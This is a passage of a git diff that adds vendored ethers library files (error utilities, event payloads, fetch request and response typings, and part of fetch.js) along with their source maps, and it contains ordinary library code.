assertArgumentCount(count: number, expectedCount: number, message?: string): void; +/** + * Throws if the normalization %%form%% is not supported. + */ +export declare function assertNormalize(form: string): void; +/** + * Many classes use file-scoped values to guard the constructor, + * making it effectively private. This facilitates that pattern + * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%, + * throwing if not, indicating the %%className%% if provided. + */ +export declare function assertPrivate(givenGuard: any, guard: any, className?: string): void; +//# sourceMappingURL=errors.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/errors.d.ts.map b/node_modules/ethers/lib.commonjs/utils/errors.d.ts.map new file mode 100644 index 000000000000..f16258befef3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/errors.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"errors.d.ts","sourceRoot":"","sources":["../../src.ts/utils/errors.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAMH,OAAO,KAAK,EACR,kBAAkB,EAAE,kBAAkB,EAAE,mBAAmB,EAC9D,MAAM,uBAAuB,CAAC;AAE/B,OAAO,KAAK,EAAE,YAAY,E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ules/ethers/lib.commonjs/utils/errors.js new file mode 100644 index 000000000000..8691b6aadf12 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/errors.js @@ -0,0 +1,243 @@ +"use strict"; +/** + * All errors in ethers include properties to ensure they are both + * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``). + * + * The [[isError]] function can be used to check the error ``code`` and + * provide a type guard for the properties present on that error interface. + * + * @_section: api/utils/errors:Errors [about-errors] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.assertPrivate = exports.assertNormalize = exports.assertArgumentCount = exports.assertArgument = exports.assert = exports.makeError = exports.isCallException = exports.isError = void 0; +const _version_js_1 = require("../_version.js"); +const properties_js_1 = require("./properties.js"); +function stringify(value, seen) { + if (value == null) { + return "null"; + } + if (seen == null) { + seen = new Set(); + } + if (typeof (value) === "object") { + if (seen.has(value)) { + return "[Circular]"; + } + seen.add(value); + } + if (Array.isArray(value)) { + return "[ " + (value.map((v) => stringify(v, seen))).join(", ") + " ]"; + } + if (value instanceof Uint8Array) { + const HEX = "0123456789abcdef"; + let result = "0x"; + for (let i = 0; i < value.length; i++) { + result += HEX[value[i] >> 4]; + result += HEX[value[i] & 0xf]; + } + return result; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return stringify(value.toJSON(), seen); + } + switch (typeof (value)) { + case "boolean": + case "number": + case "symbol": + return value.toString(); + case "bigint": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{ " + keys.map((k) => `${stringify(k, seen)}: ${stringify(value[k], seen)}`).join(", ") + " }"; + } + } + return `[ COULD NOT SERIALIZE ]`; +} +/** + * Returns true if the %%error%% matches an error thrown by ethers + * that matches the error %%code%%. + * + * In TypeScript environments, this can be used to check that %%error%% + * matches an EthersError type, which means the expected properties will + * be set. + * + * @See [ErrorCodes](api:ErrorCode) + * @example + * try { + * // code.... + * } catch (e) { + * if (isError(e, "CALL_EXCEPTION")) { + * // The Type Guard has validated this object + * console.log(e.data); + * } + * } + */ +function isError(error, code) { + return (error && error.code === code); +} +exports.isError = isError; +/** + * Returns true if %%error%% is a [[CallExceptionError]. + */ +function isCallException(error) { + return isError(error, "CALL_EXCEPTION"); +} +exports.isCallException = isCallException; +/** + * Returns a new Error configured to the format ethers emits errors, with + * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties + * for the corresponding EthersError. + * + * Each error in ethers includes the version of ethers, a + * machine-readable [[ErrorCode]], and depending on %%code%%, additional + * required properties. The error message will also include the %%message%%, + * ethers version, %%code%% and all additional properties, serialized. + */ +function makeError(message, code, info) { + let shortMessage = message; + { + const details = []; + if (info) { + if ("message" in info || "code" in info || "name" in info) { + throw new Error(`value will overwrite populated values: ${stringify(info)}`); + } + for (const key in info) { + if (key === "shortMessage") { + continue; + } + const value = (info[key]); + // try { + details.push(key + "=" + stringify(value)); + // } catch (error: any) { + // console.log("MMM", error.message); + // details.push(key + "=[could not serialize object]"); + // } + } + } + details.push(`code=${code}`); + details.push(`version=${_version_js_1.version}`); + if (details.length) { + message += " (" + details.join(", ") + ")"; + } + } + let error; + switch (code) { + case "INVALID_ARGUMENT": + error = new TypeError(message); + break; + case "NUMERIC_FAULT": + case "BUFFER_OVERRUN": + error = new RangeError(message); + break; + default: + error = new Error(message); + } + (0, properties_js_1.defineProperties)(error, { code }); + if (info) { + Object.assign(error, info); + } + if (error.shortMessage == null) { + (0, properties_js_1.defineProperties)(error, { shortMessage }); + } + return error; +} +exports.makeError = makeError; +/** + * Throws an EthersError with %%message%%, %%code%% and additional error + * %%info%% when %%check%% is falsish.. + * + * @see [[api:makeError]] + */ +function assert(check, message, code, info) { + if (!check) { + throw makeError(message, code, info); + } +} +exports.assert = assert; +/** + * A simple helper to simply ensuring provided arguments match expected + * constraints, throwing if not. + * + * In TypeScript environments, the %%check%% has been asserted true, so + * any further code does not need additional compile-time checks. + */ +function assertArgument(check, message, name, value) { + assert(check, message, "INVALID_ARGUMENT", { argument: name, value: value }); +} +exports.assertArgument = assertArgument; +function assertArgumentCount(count, expectedCount, message) { + if (message == null) { + message = ""; + } + if (message) { + message = ": " + message; + } + assert(count >= expectedCount, "missing argument" + message, "MISSING_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); + assert(count <= expectedCount, "too many arguments" + message, "UNEXPECTED_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); +} +exports.assertArgumentCount = assertArgumentCount; +const _normalizeForms = ["NFD", "NFC", "NFKD", "NFKC"].reduce((accum, form) => { + try { + // General test for normalize + /* c8 ignore start */ + if ("test".normalize(form) !== "test") { + throw new Error("bad"); + } + ; + /* c8 ignore stop */ + if (form === "NFD") { + const check = String.fromCharCode(0xe9).normalize("NFD"); + const expected = String.fromCharCode(0x65, 0x0301); + /* c8 ignore start */ + if (check !== expected) { + throw new Error("broken"); + } + /* c8 ignore stop */ + } + accum.push(form); + } + catch (error) { } + return accum; +}, []); +/** + * Throws if the normalization %%form%% is not supported. + */ +function assertNormalize(form) { + assert(_normalizeForms.indexOf(form) >= 0, "platform missing String.prototype.normalize", "UNSUPPORTED_OPERATION", { + operation: "String.prototype.normalize", info: { form } + }); +} +exports.assertNormalize = assertNormalize; +/** + * Many classes use file-scoped values to guard the constructor, + * making it effectively private. This facilitates that pattern + * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%, + * throwing if not, indicating the %%className%% if provided. + */ +function assertPrivate(givenGuard, guard, className) { + if (className == null) { + className = ""; + } + if (givenGuard !== guard) { + let method = className, operation = "new"; + if (className) { + method += "."; + operation += " " + className; + } + assert(false, `private constructor; use ${method}from* methods`, "UNSUPPORTED_OPERATION", { + operation + }); + } +} +exports.assertPrivate = assertPrivate; +//# sourceMappingURL=errors.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/errors.js.map b/node_modules/ethers/lib.commonjs/utils/errors.js.map new file mode 100644 index 000000000000..2d88ca08058a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/errors.js.map @@ -0,0 +1 @@ +{"version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UAAU,KAAK,KAAK,EAAE;QACtB,IAAI,MAAM,GAAG,SAAS,EAAE,SAAS,GAAG,KAAK,CAAC;QAC1C,IAAI,SAAS,EAAE;YACX,MAAM,IAAI,GAAG,CAAC;YACd,SAAS,IAAI,GAAG,GAAG,SAAS,CAAC;SAChC;QACD,MAAM,CAAC,KAAK,EAAE,4BAA6B,MAAO,eAAe,EAAE,uBAAuB,EAAE;YACxF,SAAS;SACZ,CAAC,CAAC;KACN;AACL,CAAC;AAZD,sCAYC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/events.d.ts b/node_modules/ethers/lib.commonjs/utils/events.d.ts new file mode 100644 index 000000000000..5da08892307e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/events.d.ts @@ -0,0 +1,77 @@ +/** + * A callback function called when a an event is triggered. + */ +export type Listener = (...args: Array) => void; +/** + * An **EventEmitterable** behaves similar to an EventEmitter + * except provides async access to its methods. + * + * An EventEmitter implements the observer pattern. + */ +export interface EventEmitterable { + /** + * Registers a %%listener%% that is called whenever the + * %%event%% occurs until unregistered. + */ + on(event: T, listener: Listener): Promise; + /** + * Registers a %%listener%% that is called the next time + * %%event%% occurs. + */ + once(event: T, listener: Listener): Promise; + /** + * Triggers each listener for %%event%% with the %%args%%. + */ + emit(event: T, ...args: Array): Promise; + /** + * Resolves to the number of listeners for %%event%%. + */ + listenerCount(event?: T): Promise; + /** + * Resolves to the listeners for %%event%%. + */ + listeners(event?: T): Promise>; + /** + * Unregister the %%listener%% for %%event%%. If %%listener%% + * is unspecified, all listeners are unregistered. + */ + off(event: T, listener?: Listener): Promise; + /** + * Unregister all listeners for %%event%%. + */ + removeAllListeners(event?: T): Promise; + /** + * Alias for [[on]]. + */ + addListener(event: T, listener: Listener): Promise; + /** + * Alias for [[off]]. + */ + removeListener(event: T, listener: Listener): Promise; +} +/** + * When an [[EventEmitterable]] triggers a [[Listener]], the + * callback always ahas one additional argument passed, which is + * an **EventPayload**. + */ +export declare class EventPayload { + #private; + /** + * The event filter. + */ + readonly filter: T; + /** + * The **EventEmitterable**. + */ + readonly emitter: EventEmitterable; + /** + * Create a new **EventPayload** for %%emitter%% with + * the %%listener%% and for %%filter%%. + */ + constructor(emitter: EventEmitterable, listener: null | Listener, filter: T); + /** + * Unregister the triggered listener for future events. + */ + removeListener(): Promise; +} +//# sourceMappingURL=events.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/events.d.ts.map b/node_modules/ethers/lib.commonjs/utils/events.d.ts.map new file mode 100644 index 000000000000..645e81ffb1ad --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/events.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"events.d.ts","sourceRoot":"","sources":["../../src.ts/utils/events.ts"],"names":[],"mappings":"AASA;;GAEG;AACH,MAAM,MAAM,QAAQ,GAAG,CAAC,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,KAAK,IAAI,CAAC;AAErD;;;;;GAKG;AACH,MAAM,WAAW,gBAAgB,CAAC,CAAC;IAC/B;;;OAGG;IACH,EAAE,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAEhD;;;OAGG;IACH,IAAI,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAElD;;OAEG;IACH,IAAI,CAAC,KAAK,EAAE,CAAC,EAAE,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,OAAO,CAAC,CAAC;IAEtD;;OAEG;IACH,aAAa,CAAC,KAAK,CAAC,EAAE,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;IAE1C;;OAEG;IACH,SAAS,CAAC,KAAK,CAAC,EAAE,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC,QAAQ,CAAC,CAAC,CAAC;IAE/C;;;OAGG;IACH,GAAG,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,CAAC,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAElD;;OAEG;IACH,kBAAkB,CAAC,KAAK,CAAC,EAAE,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAE7C;;OAEG;IACH,WAAW,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAEzD;;OAEG;IACH,cAAc,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;CAC/D;AAED;;;;GAIG;AACH,qBAAa,YAAY,CAAC,CAAC;;IACvB;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,CAAC,CAAC;IAEpB;;OAEG;IACH,QAAQ,CAAC,OAAO,EAAG,gBAAgB,CAAC,CAAC,CAAC,CAAC;IAIvC;;;OAGG;gBACS,OAAO,EAAE,gBAAgB,CAAC,CAAC,CAAC,EAAE,QAAQ,EAAE,IAAI,GAAG,QAAQ,EAAE,MAAM,EAAE,CAAC;IAK9E;;OAEG;IACG,cAAc,IAAI,OAAO,CAAC,IAAI,CAAC;CAIxC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/events.js b/node_modules/ethers/lib.commonjs/utils/events.js new file mode 100644 index 000000000000..00e1d912f75a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/events.js @@ -0,0 +1,46 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.EventPayload = void 0; +/** + * Events allow for applications to use the observer pattern, which + * allows subscribing and publishing events, outside the normal + * execution paths. + * + * @_section api/utils/events:Events [about-events] + */ +const properties_js_1 = require("./properties.js"); +/** + * When an [[EventEmitterable]] triggers a [[Listener]], the + * callback always ahas one additional argument passed, which is + * an **EventPayload**. + */ +class EventPayload { + /** + * The event filter. + */ + filter; + /** + * The **EventEmitterable**. + */ + emitter; + #listener; + /** + * Create a new **EventPayload** for %%emitter%% with + * the %%listener%% and for %%filter%%. + */ + constructor(emitter, listener, filter) { + this.#listener = listener; + (0, properties_js_1.defineProperties)(this, { emitter, filter }); + } + /** + * Unregister the triggered listener for future events. + */ + async removeListener() { + if (this.#listener == null) { + return; + } + await this.emitter.off(this.filter, this.#listener); + } +} +exports.EventPayload = EventPayload; +//# sourceMappingURL=events.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/events.js.map b/node_modules/ethers/lib.commonjs/utils/events.js.map new file mode 100644 index 000000000000..b7242bec632c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/events.js.map @@ -0,0 +1 @@ +{"version":3,"file":"events.js","sourceRoot":"","sources":["../../src.ts/utils/events.ts"],"names":[],"mappings":";;;AAAA;;;;;;GAMG;AACH,mDAAmD;AA+DnD;;;;GAIG;AACH,MAAa,YAAY;IACrB;;OAEG;IACM,MAAM,CAAK;IAEpB;;OAEG;IACM,OAAO,CAAuB;IAE9B,SAAS,CAAkB;IAEpC;;;OAGG;IACH,YAAY,OAA4B,EAAE,QAAyB,EAAE,MAAS;QAC1E,IAAI,CAAC,SAAS,GAAG,QAAQ,CAAC;QAC1B,IAAA,gCAAgB,EAAoB,IAAI,EAAE,EAAE,OAAO,EAAE,MAAM,EAAE,CAAC,CAAC;IACnE,CAAC;IAED;;OAEG;IACH,KAAK,CAAC,cAAc;QAChB,IAAI,IAAI,CAAC,SAAS,IAAI,IAAI,EAAE;YAAE,OAAO;SAAE;QACvC,MAAM,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,MAAM,EAAE,IAAI,CAAC,SAAS,CAAC,CAAC;IACxD,CAAC;CACJ;AA7BD,oCA6BC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/fetch.d.ts b/node_modules/ethers/lib.commonjs/utils/fetch.d.ts new file mode 100644 index 000000000000..d12579280792 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/fetch.d.ts @@ -0,0 +1,363 @@ +/** + * An environment's implementation of ``getUrl`` must return this type. + */ +export type GetUrlResponse = { + statusCode: number; + statusMessage: string; + headers: Record; + body: null | Uint8Array; +}; +/** + * This can be used to control how throttling is handled in + * [[FetchRequest-setThrottleParams]]. + */ +export type FetchThrottleParams = { + maxAttempts?: number; + slotInterval?: number; +}; +/** + * Called before any network request, allowing updated headers (e.g. Bearer tokens), etc. + */ +export type FetchPreflightFunc = (req: FetchRequest) => Promise; +/** + * Called on the response, allowing client-based throttling logic or post-processing. + */ +export type FetchProcessFunc = (req: FetchRequest, resp: FetchResponse) => Promise; +/** + * Called prior to each retry; return true to retry, false to abort. + */ +export type FetchRetryFunc = (req: FetchRequest, resp: FetchResponse, attempt: number) => Promise; +/** + * Called on Gateway URLs. + */ +export type FetchGatewayFunc = (url: string, signal?: FetchCancelSignal) => Promise; +/** + * Used to perform a fetch; use this to override the underlying network + * fetch layer. In NodeJS, the default uses the "http" and "https" libraries + * and in the browser ``fetch`` is used. If you wish to use Axios, this is + * how you would register it. + */ +export type FetchGetUrlFunc = (req: FetchRequest, signal?: FetchCancelSignal) => Promise; +/** + * @_ignore + */ +export declare class FetchCancelSignal { + #private; + constructor(request: FetchRequest); + addListener(listener: () => void): void; + get cancelled(): boolean; + checkSignal(): void; +} +/** + * Represents a request for a resource using a URI. + * + * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``, + * and ``IPFS:``. + * + * Additional schemes can be added globally using [[registerGateway]]. + * + * @example: + * req = new FetchRequest("https://www.ricmoo.com") + * resp = await req.send() + * resp.body.length + * //_result: + */ +export declare class FetchRequest implements Iterable<[key: string, value: string]> { + #private; + /** + * The fetch URL to request. + */ + get url(): string; + set url(url: string); + /** + * The fetch body, if any, to send as the request body. //(default: null)// + * + * When setting a body, the intrinsic ``Content-Type`` is automatically + * set and will be used if **not overridden** by setting a custom + * header. + * + * If %%body%% is null, the body is cleared (along with the + * intrinsic ``Content-Type``). + * + * If %%body%% is a string, the intrinsic ``Content-Type`` is set to + * ``text/plain``. + * + * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to + * ``application/octet-stream``. + * + * If %%body%% is any other object, the intrinsic ``Content-Type`` is + * set to ``application/json``. + */ + get body(): null | Uint8Array; + set body(body: null | string | Readonly | Readonly); + /** + * Returns true if the request has a body. + */ + hasBody(): this is (FetchRequest & { + body: Uint8Array; + }); + /** + * The HTTP method to use when requesting the URI. If no method + * has been explicitly set, then ``GET`` is used if the body is + * null and ``POST`` otherwise. + */ + get method(): string; + set method(method: null | string); + /** + * The headers that will be used when requesting the URI. All + * keys are lower-case. + * + * This object is a copy, so any changes will **NOT** be reflected + * in the ``FetchRequest``. + * + * To set a header entry, use the ``setHeader`` method. + */ + get headers(): Record; + /** + * Get the header for %%key%%, ignoring case. + */ + getHeader(key: string): string; + /** + * Set the header for %%key%% to %%value%%. All values are coerced + * to a string. + */ + setHeader(key: string, value: string | number): void; + /** + * Clear all headers, resetting all intrinsic headers. + */ + clearHeaders(): void; + [Symbol.iterator](): Iterator<[key: string, value: string]>; + /** + * The value that will be sent for the ``Authorization`` header. + * + * To set the credentials, use the ``setCredentials`` method. + */ + get credentials(): null | string; + /** + * Sets an ``Authorization`` for %%username%% with %%password%%. + */ + setCredentials(username: string, password: string): void; + /** + * Enable and request gzip-encoded responses. The response will + * automatically be decompressed. //(default: true)// + */ + get allowGzip(): boolean; + set allowGzip(value: boolean); + /** + * Allow ``Authentication`` credentials to be sent over insecure + * channels. //(default: false)// + */ + get allowInsecureAuthentication(): boolean; + set allowInsecureAuthentication(value: boolean); + /** + * The timeout (in milliseconds) to wait for a complete response. + * //(default: 5 minutes)// + */ + get timeout(): number; + set timeout(timeout: number); + /** + * This function is called prior to each request, for example + * during a redirection or retry in case of server throttling. + * + * This offers an opportunity to populate headers or update + * content before sending a request. + */ + get preflightFunc(): null | FetchPreflightFunc; + set preflightFunc(preflight: null | FetchPreflightFunc); + /** + * This function is called after each response, offering an + * opportunity to provide client-level throttling or updating + * response data. + * + * Any error thrown in this causes the ``send()`` to throw. + * + * To schedule a retry attempt (assuming the maximum retry limit + * has not been reached), use [[response.throwThrottleError]]. + */ + get processFunc(): null | FetchProcessFunc; + set processFunc(process: null | FetchProcessFunc); + /** + * This function is called on each retry attempt. + */ + get retryFunc(): null | FetchRetryFunc; + set retryFunc(retry: null | FetchRetryFunc); + /** + * This function is called to fetch content from HTTP and + * HTTPS URLs and is platform specific (e.g. nodejs vs + * browsers). + * + * This is by default the currently registered global getUrl + * function, which can be changed using [[registerGetUrl]]. + * If this has been set, setting is to ``null`` will cause + * this FetchRequest (and any future clones) to revert back to + * using the currently registered global getUrl function. + * + * Setting this is generally not necessary, but may be useful + * for developers that wish to intercept requests or to + * configurege a proxy or other agent. + */ + get getUrlFunc(): FetchGetUrlFunc; + set getUrlFunc(value: null | FetchGetUrlFunc); + /** + * Create a new FetchRequest instance with default values. + * + * Once created, each property may be set before issuing a + * ``.send()`` to make the request. + */ + constructor(url: string); + toString(): string; + /** + * Update the throttle parameters used to determine maximum + * attempts and exponential-backoff properties. + */ + setThrottleParams(params: FetchThrottleParams): void; + /** + * Resolves to the response by sending the request. + */ + send(): Promise; + /** + * Cancels the inflight response, causing a ``CANCELLED`` + * error to be rejected from the [[send]]. + */ + cancel(): void; + /** + * Returns a new [[FetchRequest]] that represents the redirection + * to %%location%%. + */ + redirect(location: string): FetchRequest; + /** + * Create a new copy of this request. + */ + clone(): FetchRequest; + /** + * Locks all static configuration for gateways and FetchGetUrlFunc + * registration. + */ + static lockConfig(): void; + /** + * Get the current Gateway function for %%scheme%%. + */ + static getGateway(scheme: string): null | FetchGatewayFunc; + /** + * Use the %%func%% when fetching URIs using %%scheme%%. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGateway(scheme: string, func: FetchGatewayFunc): void; + /** + * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGetUrl(getUrl: FetchGetUrlFunc): void; + /** + * Creates a getUrl function that fetches content from HTTP and + * HTTPS URLs. + * + * The available %%options%% are dependent on the platform + * implementation of the default getUrl function. + * + * This is not generally something that is needed, but is useful + * when trying to customize simple behaviour when fetching HTTP + * content. + */ + static createGetUrlFunc(options?: Record): FetchGetUrlFunc; + /** + * Creates a function that can "fetch" data URIs. + * + * Note that this is automatically done internally to support + * data URIs, so it is not necessary to register it. + * + * This is not generally something that is needed, but may + * be useful in a wrapper to perfom custom data URI functionality. + */ + static createDataGateway(): FetchGatewayFunc; + /** + * Creates a function that will fetch IPFS (unvalidated) from + * a custom gateway baseUrl. + * + * The default IPFS gateway used internally is + * ``"https:/\/gateway.ipfs.io/ipfs/"``. + */ + static createIpfsGatewayFunc(baseUrl: string): FetchGatewayFunc; +} +/** + * The response for a FetchRequest. + */ +export declare class FetchResponse implements Iterable<[key: string, value: string]> { + #private; + toString(): string; + /** + * The response status code. + */ + get statusCode(): number; + /** + * The response status message. + */ + get statusMessage(): string; + /** + * The response headers. All keys are lower-case. + */ + get headers(): Record; + /** + * The response body, or ``null`` if there was no body. + */ + get body(): null | Readonly; + /** + * The response body as a UTF-8 encoded string, or the empty + * string (i.e. ``""``) if there was no body. + * + * An error is thrown if the body is invalid UTF-8 data. + */ + get bodyText(): string; + /** + * The response body, decoded as JSON. + * + * An error is thrown if the body is invalid JSON-encoded data + * or if there was no body. + */ + get bodyJson(): any; + [Symbol.iterator](): Iterator<[key: string, value: string]>; + constructor(statusCode: number, statusMessage: string, headers: Readonly>, body: null | Uint8Array, request?: FetchRequest); + /** + * Return a Response with matching headers and body, but with + * an error status code (i.e. 599) and %%message%% with an + * optional %%error%%. + */ + makeServerError(message?: string, error?: Error): FetchResponse; + /** + * If called within a [request.processFunc](FetchRequest-processFunc) + * call, causes the request to retry as if throttled for %%stall%% + * milliseconds. + */ + throwThrottleError(message?: string, stall?: number): never; + /** + * Get the header value for %%key%%, ignoring case. + */ + getHeader(key: string): string; + /** + * Returns true if the response has a body. + */ + hasBody(): this is (FetchResponse & { + body: Uint8Array; + }); + /** + * The request made for this response. + */ + get request(): null | FetchRequest; + /** + * Returns true if this response was a success statusCode. + */ + ok(): boolean; + /** + * Throws a ``SERVER_ERROR`` if this response is not ok. + */ + assertOk(): void; +} +//# sourceMappingURL=fetch.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/fetch.d.ts.map b/node_modules/ethers/lib.commonjs/utils/fetch.d.ts.map new file mode 100644 index 000000000000..cfc7bf062f15 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/fetch.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"fetch.d.ts","sourceRoot":"","sources":["../../src.ts/utils/fetch.ts"],"names":[],"mappings":"AA2BA;;GAEG;AACH,MAAM,MAAM,cAAc,GAAG;IACzB,UAAU,EAAE,MAAM,CAAC;IACnB,aAAa,EAAE,MAAM,CAAC;IACtB,OAAO,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAChC,IAAI,EAAE,IAAI,GAAG,UAAU,CAAA;CAC1B,CAAC;AAEF;;;GAGG;AACH,MAAM,MAAM,mBAAmB,GAAG;IAC9B,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,YAAY,CAAC,EAAE,MAAM,CAAC;CACzB,CAAC;AAEF;;GAEG;AACH,MAAM,MAAM,kBAAkB,GAAG,CAAC,GAAG,EAAE,YAAY,KAAK,OAAO,CAAC,YAAY,CAAC,CAAC;AAE9E;;GAEG;AACH,MAAM,MAAM,gBAAgB,GAAG,CAAC,GAAG,EAAE,YAAY,EAAE,IAAI,EAAE,aAAa,KAAK,OAAO,CAAC,aAAa,CAAC,CAAC;AAElG;;GAEG;AACH,MAAM,MAAM,cAAc,GAAG,CAAC,GAAG,EAAE,YAAY,EAAE,IAAI,EAAE,aAAa,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,OAAO,CAAC,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MAAM,EAAE,MAAM,CAAC,CAA8C;IAEnF;;OAEG;IACH,IAAI,IAAI,IAAI,IAAI,GAAG,QAAQ,CAAC,UAAU,CAAC,CAEtC;IAED;;;;;OAKG;IACH,IAAI,QAAQ,IAAI,MAAM,CAQrB;IAED;;;;;OAKG;IACH,IAAI,QAAQ,IAAI,GAAG,CAQlB;IAED,CAAC,MAAM,CAAC,QAAQ,CAAC,IAAI,QAAQ,CAAC,CAAE,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,CAAE,CAAC;gBAiBjD,UAAU,EAAE,MAAM,EAAE,aAAa,EAAE,MAAM,EAAE,OAAO,EAAE,QAAQ,CAAC,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC,EAAE,IAAI,EAAE,IAAI,GAAG,UAAU,EAAE,OAAO,CAAC,EAAE,YAAY;IAajJ;;;;OAIG;IACH,eAAe,CAAC,OAAO,CAAC,EAAE,MAAM,EAAE,KAAK,CAAC,EAAE,KAAK,GAAG,aAAa;IAc/D;;;;OAIG;IACH,kBAAkB,CAAC,OAAO,CAAC,EAAE,MAAM,EAAE,KAAK,CAAC,EAAE,MAAM,GAAG,KAAK;IAc3D;;OAEG;IACH,SAAS,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM;IAI9B;;OAEG;IACH,OAAO,IAAI,IAAI,IAAI,CAAC,aAAa,GAAG;QAAE,IAAI,EAAE,UAAU,CAAA;KAAE,CAAC;IAIzD;;OAEG;IACH,IAAI,OAAO,IAAI,IAAI,GAAG,YAAY,CAA0B;IAE5D;;OAEG;IACH,EAAE,IAAI,OAAO;IAIb;;OAEG;IACH,QAAQ,IAAI,IAAI;CAsBnB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/fetch.js b/node_modules/ethers/lib.commonjs/utils/fetch.js new file mode 100644 index 000000000000..b961c3a10bf2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/fetch.js @@ -0,0 +1,858 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.FetchResponse = exports.FetchRequest = exports.FetchCancelSignal = void 0; +/** + * Fetching content from the web is environment-specific, so Ethers + * provides an abstraction that each environment can implement to provide + * this service. + * + * On [Node.js](link-node), the ``http`` and ``https`` libs are used to + * create a request object, register event listeners and process data + * and populate the [[FetchResponse]]. + * + * In a browser, the [DOM fetch](link-js-fetch) is used, and the resulting + * ``Promise`` is waited on to retrieve the payload. + * + * The [[FetchRequest]] is responsible for handling many common situations, + * such as redirects, server throttling, authentication, etc. + * + * It also handles common gateways, such as IPFS and data URIs. + * + * @_section api/utils/fetching:Fetching Web Content [about-fetch] + */ +const base64_js_1 = require("./base64.js"); +const data_js_1 = require("./data.js"); +const errors_js_1 = require("./errors.js"); +const properties_js_1 = require("./properties.js"); +const utf8_js_1 = require("./utf8.js"); +const geturl_js_1 = require("./geturl.js"); +const MAX_ATTEMPTS = 12; +const SLOT_INTERVAL = 250; +// The global FetchGetUrlFunc implementation. +let defaultGetUrlFunc = (0, geturl_js_1.createGetUrl)(); +const reData = new RegExp("^data:([^;:]*)?(;base64)?,(.*)$", "i"); +const reIpfs = new RegExp("^ipfs:/\/(ipfs/)?(.*)$", "i"); +// If locked, new Gateways cannot be added +let locked = false; +// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs +async function dataGatewayFunc(url, signal) { + try { + const match = url.match(reData); + if (!match) { + throw new Error("invalid data"); + } + return new FetchResponse(200, "OK", { + "content-type": (match[1] || "text/plain"), + }, (match[2] ? (0, base64_js_1.decodeBase64)(match[3]) : unpercent(match[3]))); + } + catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid data: URI)", {}, null, new FetchRequest(url)); + } +} +/** + * Returns a [[FetchGatewayFunc]] for fetching content from a standard + * IPFS gateway hosted at %%baseUrl%%. + */ +function getIpfsGatewayFunc(baseUrl) { + async function gatewayIpfs(url, signal) { + try { + const match = url.match(reIpfs); + if (!match) { + throw new Error("invalid link"); + } + return new FetchRequest(`${baseUrl}${match[2]}`); + } + catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid IPFS URI)", {}, null, new FetchRequest(url)); + } + } + return gatewayIpfs; +} +const Gateways = { + "data": 